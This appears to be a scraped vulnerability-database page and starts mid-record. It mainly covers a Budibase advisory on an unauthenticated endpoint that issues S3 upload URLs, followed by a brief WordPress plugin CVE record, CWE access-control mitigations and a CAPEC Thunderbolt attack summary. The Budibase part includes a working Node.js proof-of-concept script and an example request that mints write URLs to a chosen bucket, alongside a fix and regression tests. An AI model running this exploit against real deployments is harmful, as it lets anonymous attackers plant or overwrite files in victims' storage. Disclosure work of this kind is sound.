[]\n        res.on(\"data\", c =\u003e chunks.push(c))\n        res.on(\"end\", () =\u003e\n          resolve({\n            status: res.statusCode,\n            body: Buffer.concat(chunks).toString(\"utf8\"),\n          })\n        )\n      }\n    )\n    req.on(\"error\", reject)\n    req.write(payload)\n    req.end()\n  })\n}\n\nasync function main() {\n  const [baseUrl, appId, datasourceId] = process.argv.slice(2)\n  if (!baseUrl || !appId || !datasourceId) {\n    console.error(\"usage: node poc.js \u003cbaseUrl\u003e \u003cappId\u003e \u003cdatasourceId\u003e\")\n    process.exit(2)\n  }\n  const bucket = process.env.POC_BUCKET || \"attacker-chosen-bucket\"\n  const key = process.env.POC_KEY || `pwn/${Date.now()}.html`\n  const url = baseUrl.replace(/\\/$/, \"\") +\n    `/api/attachments/${encodeURIComponent(datasourceId)}/url`\n  const resp = await postJson(\n    url,\n    { \"x-budibase-app-id\": appId },\n    { bucket, key }\n  )\n  console.log(`HTTP ${resp.status}`)\n  console.log(resp.body)\n}\n\nmain().catch(err =\u003e {\n  console.error(err)\n  process.exit(1)\n})\n```\n\nWire-level request:\n\n```\nPOST /api/attachments/ds_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/url HTTP/1.1\nHost: budibase.example:10000\nx-budibase-app-id: app_dev_yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy\nContent-Type: application/json\nUser-Agent: budibase-poc/1.0\nContent-Length: 36\n\n{\"bucket\":\"victim-bucket\",\"key\":\"x.html\"}\n```\n\nResponse:\n\n```\nHTTP/1.1 200 OK\nContent-Type: application/json\n\n{\n  \"signedUrl\": \"https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html?X-Amz-Algorithm=AWS4-HMAC-SHA256\u0026X-Amz-Credential=AKIA...%2F20260519%2Feu-west-1%2Fs3%2Faws4_request\u0026X-Amz-Date=20260519T120000Z\u0026X-Amz-Expires=900\u0026X-Amz-Signature=...\u0026X-Amz-SignedHeaders=host\u0026x-id=PutObject\",\n  \"publicUrl\": \"https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html\"\n}\n```\n\nThe attacker then PUTs arbitrary bytes to `signedUrl` and they land at `publicUrl`, signed by \u2014 and IAM-scoped to \u2014 the victim\u0027s stored S3 credentials.\n\nThe existing test that exercises the endpoint, [`packages/server/src/api/routes/tests/static.spec.ts:123-146`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/tests/static.spec.ts#L123-L146), sends the same request with `config.defaultHeaders()` (a builder auth cookie). That confirms the request shape; no negative-auth test (`.set({})` or `publicHeaders()`) exists for this route, which is how the missing `authorized(...)` slipped past code review.\n\n## Impact\n\n- **Confidentiality / Integrity**: any anonymous internet user can write arbitrary objects to any bucket the configured IAM credentials can write to. The `bucket` parameter is attacker-controlled, so the blast radius is the full IAM policy attached to the credential, not just the bucket the operator wired into the datasource. Typical realistic outcomes: planting HTML/JS that the bucket serves at a known path (the response gives back `publicUrl`), overwriting an existing key the application later reads back as trusted data, racking up S3 storage / PUT cost.\n- **Availability**: storage / cost exhaustion. Repeated PUTs of large objects to attacker-chosen keys cost the victim.\n- **Authorization scope leak**: the endpoint discloses (a) whether a given `datasourceId` exists and is S3-typed (200 vs 400 \u0027not found\u0027), and (b) the resolved `publicUrl` which includes the region.\n\nNo MFA / OAuth / per-user check exists between the request and the issued pre-signed URL. The credentials are not returned in plaintext, but the pre-signed URL is functionally equivalent to a 15-minute capability to PUT to the chosen `bucket`/`key`.\n\n## Suggested fix\n\nAttach `authorized(PermissionType.TABLE, PermissionLevel.WRITE)` (or a higher gate, e.g. `BUILDER`, depending on intended audience) to the route, mirroring the sibling `/api/attachments/:tableId/upload` registration. Additionally, validate that the requested `bucket` matches `datasource.config.bucket` so the IAM blast radius is reduced to the configured bucket only.\n\nMinimal patch shape:\n\n```ts\n.post(\n  \"/api/attachments/:datasourceId/url\",\n  recaptcha,\n  paramResource(\"datasourceId\"),\n  authorized(PermissionType.TABLE, PermissionLevel.WRITE),\n  controller.getSignedUploadURL\n)\n```\n\nAnd in the controller, before calling `getSignedUrl`:\n\n```ts\nconst configuredBucket = datasource?.config?.bucket\nif (configuredBucket \u0026\u0026 bucket !== configuredBucket) {\n  ctx.throw(400, \"bucket does not match configured datasource bucket\")\n}\n```\n\n## Credit\n\nReported by `tonghuaroot` (`tonghuaroot@gmail.com`).\n\n\n\n## Fix PR\n\nA candidate fix has been prepared on the temporary private fork that was created from this advisory:\n\n- PR: https://github.com/Budibase/budibase-ghsa-35c4-rvc8-frhm/pull/1\n- Branch: `fix/attachment-url-auth-and-bucket-pin`\n- Commit: `Require builder auth and pin bucket on POST /api/attachments/:datasourceId/url`\n\nThe patch is the canonical two-part fix:\n\n1. Attach `authorized(BUILDER)` to `POST /api/attachments/:datasourceId/url` on [`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts), mirroring the surrounding `POST /api/attachments/process` and `POST /api/pwa/process-zip` registrations. Anonymous callers now receive 401 regardless of whether the `recaptcha` middleware fails open.\n2. Pin `Bucket` to `datasource.config.bucket` inside `getSignedUploadURL` ([`packages/server/src/api/controllers/static/index.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/controllers/static/index.ts)) and ignore any `bucket` value supplied in the request body. If the datasource has no bucket configured, the route now returns 400 instead of issuing an unbounded pre-signed URL.\n\nTwo regression tests are added in [`packages/server/src/api/routes/tests/static.spec.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/tests/static.spec.ts):\n\n- `should reject unauthenticated callers` (anonymous request with `config.publicHeaders()` now returns 401, was 200 before).\n- `should ignore a client-supplied bucket and pin to the datasource\u0027s configured bucket` (authenticated request with body `{ bucket: \"other-bucket\", key: \"bar\" }` returns a signed URL bound to `foo.s3.eu-west-1.amazonaws.com/bar`, not `other-bucket`).\n\nTest run on the patch (Jest, `packages/server`):\n\n```\nPASS src/api/routes/tests/static.spec.ts\n  /static\n    /attachments\n      generateSignedUrls\n        v should be able to generate a signed upload URL\n        v should reject unauthenticated callers\n        v should ignore a client-supplied bucket and pin to the datasource\u0027s configured bucket\n        v should reject when the datasource has no configured bucket\n        v should handle an invalid datasource ID\n        v should require a key parameter\n```",
  "id": "GHSA-35c4-rvc8-frhm",
  "modified": "2026-07-21T15:04:50Z",
  "published": "2026-06-22T23:19:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-35c4-rvc8-frhm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50137"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Budibase: POST /api/attachments/:datasourceId/url is unauthenticated and lets anonymous callers mint S3 PUT pre-signed URLs using stored datasource IAM credentials"
}

GHSA-35CC-35P5-2C6H

Vulnerability from github – Published: 2024-06-09 12:30 – Updated: 2024-06-09 12:30
VLAI
Details

Missing Authorization vulnerability in Bowo Debug Log Manager.This issue affects Debug Log Manager: from n/a through 2.3.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-35669"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-09T12:15:14Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Bowo Debug Log Manager.This issue affects Debug Log Manager: from n/a through 2.3.1.",
  "id": "GHSA-35cc-35p5-2c6h",
  "modified": "2024-06-09T12:30:53Z",
  "published": "2024-06-09T12:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35669"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/debug-log-manager/wordpress-debug-log-manager-plugin-2-3-1-broken-access-control-vulnerability-2?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.